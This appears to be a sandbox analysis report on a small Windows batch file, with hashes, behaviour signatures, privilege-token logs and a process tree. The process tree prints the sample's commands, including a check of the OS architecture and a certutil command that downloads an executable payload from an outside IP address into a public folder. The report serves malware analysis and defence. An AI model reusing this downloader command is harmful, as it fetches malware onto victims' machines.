Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 00:16
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
windows.bat
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
5 signatures
150 seconds
General
- Target windows.bat
- Size 488B
- Sample260831-akfvtavvas
- SHA256 d753ea8417c99077e4b7b9981423eb781e60084db6692853029958be906ea056
- MD5 8a6f86bc6365422929e61f32b93ff09e
- SHA1 1b1faca8fe774a55d21f2e91074ef1f49d86779f
- SHA512 298628f9c1c8ee58f8edb2401b610f9f3a8c18ed7b72308d2d54c78867f2ea28cf4a559893d751f2e4cccb268cda8645c21dc185e0799391ef5b0bbe129d663e
- TLSH T143F0D4CC349118F11785CA8339A1F0C1F50D44D14FB15445AC8261DD5F481AD1ADF7F1
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4236 cmd.exe 1680 cmd.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3336 WMIC.exe 3336 WMIC.exe 3336 WMIC.exe 3336 WMIC.exe - Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3336 WMIC.exe Token: SeSecurityPrivilege 3336 WMIC.exe Token: SeTakeOwnershipPrivilege 3336 WMIC.exe Token: SeLoadDriverPrivilege 3336 WMIC.exe Token: SeSystemProfilePrivilege 3336 WMIC.exe Token: SeSystemtimePrivilege 3336 WMIC.exe Token: SeProfSingleProcessPrivilege 3336 WMIC.exe Token: SeIncBasePriorityPrivilege 3336 WMIC.exe Token: SeCreatePagefilePrivilege 3336 WMIC.exe Token: SeBackupPrivilege 3336 WMIC.exe Token: SeRestorePrivilege 3336 WMIC.exe Token: SeShutdownPrivilege 3336 WMIC.exe Token: SeDebugPrivilege 3336 WMIC.exe Token: SeSystemEnvironmentPrivilege 3336 WMIC.exe Token: SeRemoteShutdownPrivilege 3336 WMIC.exe Token: SeUndockPrivilege 3336 WMIC.exe Token: SeManageVolumePrivilege 3336 WMIC.exe Token: 33 3336 WMIC.exe Token: 34 3336 WMIC.exe Token: 35 3336 WMIC.exe Token: 36 3336 WMIC.exe Token: SeIncreaseQuotaPrivilege 3336 WMIC.exe Token: SeSecurityPrivilege 3336 WMIC.exe Token: SeTakeOwnershipPrivilege 3336 WMIC.exe Token: SeLoadDriverPrivilege 3336 WMIC.exe Token: SeSystemProfilePrivilege 3336 WMIC.exe Token: SeSystemtimePrivilege 3336 WMIC.exe Token: SeProfSingleProcessPrivilege 3336 WMIC.exe Token: SeIncBasePriorityPrivilege 3336 WMIC.exe Token: SeCreatePagefilePrivilege 3336 WMIC.exe Token: SeBackupPrivilege 3336 WMIC.exe Token: SeRestorePrivilege 3336 WMIC.exe Token: SeShutdownPrivilege 3336 WMIC.exe Token: SeDebugPrivilege 3336 WMIC.exe Token: SeSystemEnvironmentPrivilege 3336 WMIC.exe Token: SeRemoteShutdownPrivilege 3336 WMIC.exe Token: SeUndockPrivilege 3336 WMIC.exe Token: SeManageVolumePrivilege 3336 WMIC.exe Token: 33 3336 WMIC.exe Token: 34 3336 WMIC.exe Token: 35 3336 WMIC.exe Token: 36 3336 WMIC.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1680 wrote to memory of 4236 1680 cmd.exe 90 PID 4236 wrote to memory of 3336 4236 cmd.exe 91 PID 4236 wrote to memory of 4552 4236 cmd.exe 92 PID 1680 wrote to memory of 1076 1680 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3336
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4552
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://130.94.66.82:80/?h=130.94.66.82&p=80&t=tcp&a=w64&stage=true" "C:\Users\Public\03a18fb9tcp.exe"2⤵PID:1076
-